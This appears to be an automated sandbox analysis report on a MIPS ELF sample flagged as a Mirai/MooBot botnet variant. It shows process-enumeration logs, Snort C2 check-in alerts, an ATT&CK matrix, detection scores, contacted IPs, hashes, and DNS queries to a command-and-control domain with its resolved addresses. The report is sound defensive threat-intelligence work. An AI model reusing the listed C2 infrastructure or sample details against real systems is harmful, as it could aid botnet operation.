Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/1585/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/804/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/3407/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/1484/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/133/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/1479/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/931/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/1595/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/812/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/933/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/3419/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/3310/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/260/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/261/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/262/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/142/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/263/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/264/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/265/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/145/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/266/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/267/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/268/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/3303/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/269/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/1486/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/1806/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/3440/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/270/cmdline	Jump to behavior

Source: mips.elf, 5519.1.000056085360b000.0000560853692000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/mips
Source: mips.elf, 5519.1.000056085360b000.0000560853692000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: mips.elf, 5519.1.00007ffd7c3f9000.00007ffd7c41a000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips
Source: mips.elf, 5519.1.00007ffd7c3f9000.00007ffd7c41a000.rw-.sdmp	Binary or memory string: Ox86_64/usr/bin/qemu-mips/tmp/mips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mips.elf

Source: Yara match	File source: mips.elf, type: SAMPLE
Source: Yara match	File source: 5519.1.00007fc994400000.00007fc994428000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mips.elf PID: 5519, type: MEMORYSTR

Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Scripting	Path Interception	Path Interception	1 Scripting	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Non-Standard Port	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	3 Non-Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Ingress Tool Transfer	SIM Card Swap		Carrier Billing Fraud

Source	Detection	Scanner	Label	Link
mips.elf	61%	ReversingLabs	Linux.Trojan.Mirai
mips.elf	100%	Avira	EXP/ELF.Agent.Gen.J

IP	Domain	Country	ASN	ASN Name	Malicious
147.192.101.241	unknown	Japan	2527	SO-NETSo-netEntertainmentCorporationJP	false
154.132.93.251	unknown	Egypt	37069	MOBINILEG	false
97.199.52.74	unknown	United States	6167	CELLCO-PARTUS	false
126.185.246.198	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
213.153.214.15	unknown	Turkey	34984	TELLCOM-ASTR	false
98.52.20.1	unknown	United States	7922	COMCAST-7922US	false
64.88.216.251	unknown	United States	14860	AS-SMARTCOMUS	false
79.96.241.198	unknown	Poland	12824	HOMEPL-ASPL	false
86.186.133.13	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
86.73.168.134	unknown	France	15557	LDCOMNETFR	false
192.255.6.104	unknown	United States	36351	SOFTLAYERUS	false
212.229.177.30	unknown	United Kingdom	6659	NEXINTO-DE	false
93.33.153.189	unknown	Italy	12874	FASTWEBIT	false
203.79.135.123	unknown	Taiwan; Republic of China (ROC)	7482	APOL-ASAsiaPacificOn-lineServiceIncTW	false
154.55.173.43	unknown	United States	174	COGENT-174US	false
120.14.144.246	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
208.160.94.126	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
184.106.192.110	unknown	United States	19994	RACKSPACEUS	false
49.157.2.29	unknown	Philippines	9658	ETPI-IDS-AS-APEasternTelecomsPhilsIncPH	false
12.2.43.172	unknown	United States	7018	ATT-INTERNET4US	false
71.174.203.45	unknown	United States	701	UUNETUS	false
32.157.115.24	unknown	United States	2686	ATGS-MMD-ASUS	false
150.10.170.121	unknown	Japan	6400	CompaniaDominicanadeTelefonosSADO	false
53.105.188.84	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
38.163.207.123	unknown	United States	174	COGENT-174US	false
54.157.91.182	unknown	United States	14618	AMAZON-AESUS	false
183.0.154.109	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
8.98.189.110	unknown	United States	3356	LEVEL3US	false
169.222.58.73	unknown	Korea Republic of	37611	AfrihostZA	false
155.238.0.95	unknown	South Africa	2018	TENET-1ZA	false
164.25.230.244	unknown	Germany	29355	KCELL-ASKZ	false
14.113.103.233	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
105.181.174.228	unknown	Egypt	37069	MOBINILEG	false
77.101.121.151	unknown	United Kingdom	5089	NTLGB	false
122.49.2.30	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
182.184.108.117	unknown	Pakistan	45595	PKTELECOM-AS-PKPakistanTelecomCompanyLimitedPK	false
113.102.166.143	unknown	China	58466	CT-GUANGZHOU-IDCCHINANETGuangdongprovincenetworkCN	false
1.244.117.250	unknown	Korea Republic of	55615	DUZONBIZON-AS-KRDOUZONEBIZONKR	false
116.167.148.248	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
136.243.118.122	unknown	Germany	24940	HETZNER-ASDE	false
133.188.80.69	unknown	Japan	4729	JAEAJapanAtomicEnergyAgencyJP	false
210.69.42.81	unknown	Taiwan; Republic of China (ROC)	4782	GSNETDataCommunicationBusinessGroupTW	false
65.212.252.174	unknown	United States	701	UUNETUS	false
70.119.196.157	unknown	United States	11427	TWC-11427-TEXASUS	false
222.233.50.131	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
65.34.207.185	unknown	United States	7922	COMCAST-7922US	false
174.234.208.218	unknown	United States	22394	CELLCOUS	false
208.77.154.68	unknown	United States	16773	BFGUS	false
155.133.105.160	unknown	Poland	201427	PL-M2M-ASPL	false
92.23.85.155	unknown	United Kingdom	13285	OPALTELECOM-ASTalkTalkCommunicationsLimitedGB	false
39.208.21.183	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
163.148.82.107	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
196.143.114.38	unknown	Egypt	36935	Vodafone-EG	false
73.107.169.98	unknown	United States	7922	COMCAST-7922US	false
66.54.74.22	unknown	United States	14803	ASHEREDCUS	false
107.41.179.235	unknown	United States	16567	NETRIX-16567US	false
176.168.233.171	unknown	France	5410	BOUYGTEL-ISPFR	false
213.13.73.155	unknown	Portugal	3243	MEO-RESIDENCIALPT	false
42.67.120.141	unknown	Taiwan; Republic of China (ROC)	17421	EMOME-NETMobileBusinessGroupTW	false
46.91.133.82	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
34.164.98.168	unknown	United States	2686	ATGS-MMD-ASUS	false
139.203.196.78	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
106.123.162.94	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
201.129.155.187	unknown	Mexico	8151	UninetSAdeCVMX	false
153.245.175.162	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
62.164.155.134	unknown	United Kingdom	8897	KCOM-SPNService-ProviderNetworkex-MistralGB	false
202.245.222.199	unknown	Japan	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
191.41.189.25	unknown	Brazil	7738	TelemarNorteLesteSABR	false
202.237.5.60	unknown	Japan	2497	IIJInternetInitiativeJapanIncJP	false
96.214.222.163	unknown	United States	7922	COMCAST-7922US	false
136.106.51.117	unknown	United States	60311	ONEFMCH	false
162.234.22.82	unknown	United States	7018	ATT-INTERNET4US	false
141.44.15.179	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
70.16.194.125	unknown	United States	13977	CTELCOUS	false
131.53.246.173	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
89.177.125.198	unknown	Czech Republic	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
80.125.248.250	unknown	France	15557	LDCOMNETFR	false
155.194.120.182	unknown	Canada	8698	NationwideBuildingSocietyGB	false
144.254.96.76	unknown	United States	109	CISCOSYSTEMSUS	false
39.123.27.29	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
166.126.152.190	unknown	United States	30488	SPRINGSUS	false
97.201.21.10	unknown	United States	6167	CELLCO-PARTUS	false
189.253.238.121	unknown	Mexico	8151	UninetSAdeCVMX	false
20.113.156.204	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
112.155.192.18	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
196.176.162.202	unknown	Tunisia	37693	TUNISIANATN	false
144.187.81.224	unknown	United States	17916	CSC-IGN-AUNZ-APComputerSciencesCorporationAU	false
25.131.247.165	unknown	United Kingdom	7922	COMCAST-7922US	false
108.117.197.16	unknown	United States	10507	SPCSUS	false
111.70.19.135	unknown	Taiwan; Republic of China (ROC)	17421	EMOME-NETMobileBusinessGroupTW	false
193.198.39.189	unknown	Croatia (LOCAL Name: Hrvatska)	2108	CARNET-ASJMarohnica510000ZagrebHR	false
27.20.179.244	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
218.68.41.199	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
192.151.245.243	unknown	United States	40065	CNSERVERSUS	false
149.200.165.2	unknown	Jordan	8376	JordanDataCommunicationsJO	false
35.75.173.48	unknown	United States	16509	AMAZON-02US	false
114.161.76.105	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
150.232.242.38	unknown	United States	122	UPMC-AS122US	false
36.138.224.44	unknown	China	56044	CMNET-AS-LIAONINGChinaMobilecommunicationscorporationC	false
133.88.221.81	unknown	Japan	18126	CTCXChubuTelecommunicationsCompanyIncJP	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
93.33.153.189	jew.x86	Get hash	malicious	Mirai	Browse
93.33.153.189	rQGFRpSojn	Get hash	malicious	Mirai	Browse
150.10.170.121	peach.x86	Get hash	malicious	Mirai	Browse
77.101.121.151	E0qUkdrjQR.elf	Get hash	malicious	Mirai	Browse
184.106.192.110	f7Ce8Qb9ZS.elf	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cnc.condi.cloud	arm5.elf	Get hash	malicious	Mirai	Browse	103.67.197.87
	arm7.elf	Get hash	malicious	Mirai	Browse	103.67.197.87
	x86_64.elf	Get hash	malicious	Mirai	Browse	103.67.197.87
	mips-20231005-1029.elf	Get hash	malicious	Mirai	Browse	103.67.197.233
	x86-20231005-1029.elf	Get hash	malicious	Mirai	Browse	103.67.197.233
	arm7-20231005-1029.elf	Get hash	malicious	Mirai	Browse	103.67.197.233
	arm5-20231005-1029.elf	Get hash	malicious	Mirai	Browse	103.67.197.233
	arm-20231005-1029.elf	Get hash	malicious	Mirai	Browse	103.67.197.233
	mpsl-20231005-1029.elf	Get hash	malicious	Mirai	Browse	103.67.197.233
	x86_64-20231005-1029.elf	Get hash	malicious	Mirai	Browse	103.67.197.233
	top1hbt.arm7-20230923-0810.elf	Get hash	malicious	Mirai	Browse	103.67.197.77
	top1hbt.mpsl-20230923-0810.elf	Get hash	malicious	Mirai	Browse	103.67.197.77
	top1hbt.x86_64-20230923-0810.elf	Get hash	malicious	Mirai	Browse	103.67.197.77
	top1hbt.mips-20230923-0810.elf	Get hash	malicious	Mirai	Browse	103.67.197.77
	top1hbt.arm.elf	Get hash	malicious	Mirai	Browse	103.67.197.77
	top1hbt.arm5.elf	Get hash	malicious	Mirai	Browse	103.67.197.77
	top1hbt.x86.elf	Get hash	malicious	Mirai	Browse	103.67.197.77

Process:	/tmp/mips.elf
File Type:	data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:TgaLGn:TgAG
MD5:	640E98E7A87EC50F267F24DBC141D4DD
SHA1:	BC19B1CF25759386125D933665A8B429D9AE7E26
SHA-256:	6976993806B7CE05EA0AAA6BC975462833B19CF0D6DD4C9480F26FBAF66AF31D
SHA-512:	3887FBDFA33FF58EF35DDD9B1A2C9BDD611208904D8D371B2AFFE6E97F4C2EDA7A5BAA9786BDD3857AB6B31FE933CBE7290E7D9223671670A9BC739D457D4BA9
Malicious:	false
Reputation:	low
Preview:	/tmp/mips.elf.

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.157710913158533
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	mips.elf
File size:	187'116 bytes
MD5:	b68dc8da629650ceb847a248c2727526
SHA1:	37d600f72169789eba7342a50ec29ff87a161091
SHA256:	92f1cf4772ef4cd3cf30c544b978789470e07e5969128e79720f1bd75ad0d8c1
SHA512:	507d17e3b4a1dddc54de039e0e3a1345945db67b8cf9572358daf48a2646e9fce2e66b4ed0f8e7cfd7d3c8c4392b6a267917becda805fefcad2f2d593a34263e
SSDEEP:	3072:nstQBsDm+Huuye1qIq6O7sxuiXm7S3qd7xUxxxxxxC0xRy:stXb11fMsdXsS67xUxxxxxxC0x0
TLSH:	C304B85E6E228F7EF668873447B74E21975833D627E1D684E1ACC1106E2039E641FFE8
File Content Preview:	.ELF.....................@.`...4.........4. ...(.............@...@....\|...\|...............\|..F\|..F\|...\D............dt.Q............................<...'.M....!'.......................<...'.M....!...$....'9... ......................<...'.M....!... ....'9@

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	186556
Section Header Size:	40
Number of Section Headers:	14
Header String Table Index:	13

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x23ff0	0x0	0x6	AX	16
.fini	PROGBITS	0x424110	0x24110	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x424170	0x24170	0x3aa0	0x0	0x2	A	16
.ctors	PROGBITS	0x467c14	0x27c14	0xc	0x0	0x3	WA	4
.dtors	PROGBITS	0x467c20	0x27c20	0x8	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x467c2c	0x27c2c	0xcc	0x0	0x3	WA	4
.data	PROGBITS	0x467d00	0x27d00	0x5198	0x0	0x3	WA	32
.got	PROGBITS	0x46cea0	0x2cea0	0x9b8	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x46d858	0x2d858	0x50	0x0	0x10000003	WAp	4
.bss	NOBITS	0x46d8b0	0x2d858	0x4728	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x1290	0x2d858	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x2d858	0x64	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x27c10	0x27c10	5.5040	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x27c14	0x467c14	0x467c14	0x5c44	0xa3c4	1.6410	0x6	RW	0x10000	.ctors .dtors .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 6, 2023 10:09:09.273936033 CEST	192.168.2.15	8.8.8.8	0x5058	Standard query (0)	cnc.condi.cloud	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:09:15.125333071 CEST	192.168.2.15	8.8.8.8	0x436a	Standard query (0)	cnc.condi.cloud	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:09:18.974987030 CEST	192.168.2.15	8.8.8.8	0xe695	Standard query (0)	cnc.condi.cloud	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:09:26.815310955 CEST	192.168.2.15	8.8.8.8	0x1060	Standard query (0)	cnc.condi.cloud	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:09:29.656889915 CEST	192.168.2.15	8.8.8.8	0xc140	Standard query (0)	cnc.condi.cloud	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:09:35.505112886 CEST	192.168.2.15	8.8.8.8	0xa953	Standard query (0)	cnc.condi.cloud	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:09:37.354450941 CEST	192.168.2.15	8.8.8.8	0xfb6f	Standard query (0)	cnc.condi.cloud	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:09:42.358412027 CEST	192.168.2.15	8.8.8.8	0xfb6f	Standard query (0)	cnc.condi.cloud	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:09:46.206779003 CEST	192.168.2.15	8.8.8.8	0x2ef6	Standard query (0)	cnc.condi.cloud	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:09:51.061942101 CEST	192.168.2.15	8.8.8.8	0x1a35	Standard query (0)	cnc.condi.cloud	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:10:01.923619032 CEST	192.168.2.15	8.8.8.8	0x7106	Standard query (0)	cnc.condi.cloud	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:10:06.787611008 CEST	192.168.2.15	8.8.8.8	0x9e93	Standard query (0)	cnc.condi.cloud	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:10:09.631833076 CEST	192.168.2.15	8.8.8.8	0x2957	Standard query (0)	cnc.condi.cloud	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:10:11.469835997 CEST	192.168.2.15	8.8.8.8	0x3ead	Standard query (0)	cnc.condi.cloud	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:10:15.334238052 CEST	192.168.2.15	8.8.8.8	0xf7be	Standard query (0)	cnc.condi.cloud	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:10:21.178343058 CEST	192.168.2.15	8.8.8.8	0x1f5e	Standard query (0)	cnc.condi.cloud	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:10:30.031347036 CEST	192.168.2.15	8.8.8.8	0x206d	Standard query (0)	cnc.condi.cloud	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:10:33.883681059 CEST	192.168.2.15	8.8.8.8	0x3090	Standard query (0)	cnc.condi.cloud	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:10:37.721345901 CEST	192.168.2.15	8.8.8.8	0x7bf4	Standard query (0)	cnc.condi.cloud	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:10:48.570125103 CEST	192.168.2.15	8.8.8.8	0x14b4	Standard query (0)	cnc.condi.cloud	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:10:55.430442095 CEST	192.168.2.15	8.8.8.8	0xbad2	Standard query (0)	cnc.condi.cloud	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:10:58.293754101 CEST	192.168.2.15	8.8.8.8	0x3bc4	Standard query (0)	cnc.condi.cloud	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:11:09.140080929 CEST	192.168.2.15	8.8.8.8	0x885c	Standard query (0)	cnc.condi.cloud	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 6, 2023 10:09:09.432514906 CEST	8.8.8.8	192.168.2.15	0x5058	No error (0)	cnc.condi.cloud	103.67.197.87	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:09:15.283648014 CEST	8.8.8.8	192.168.2.15	0x436a	No error (0)	cnc.condi.cloud	103.67.197.87	A (IP address)	IN (0x0001)	false
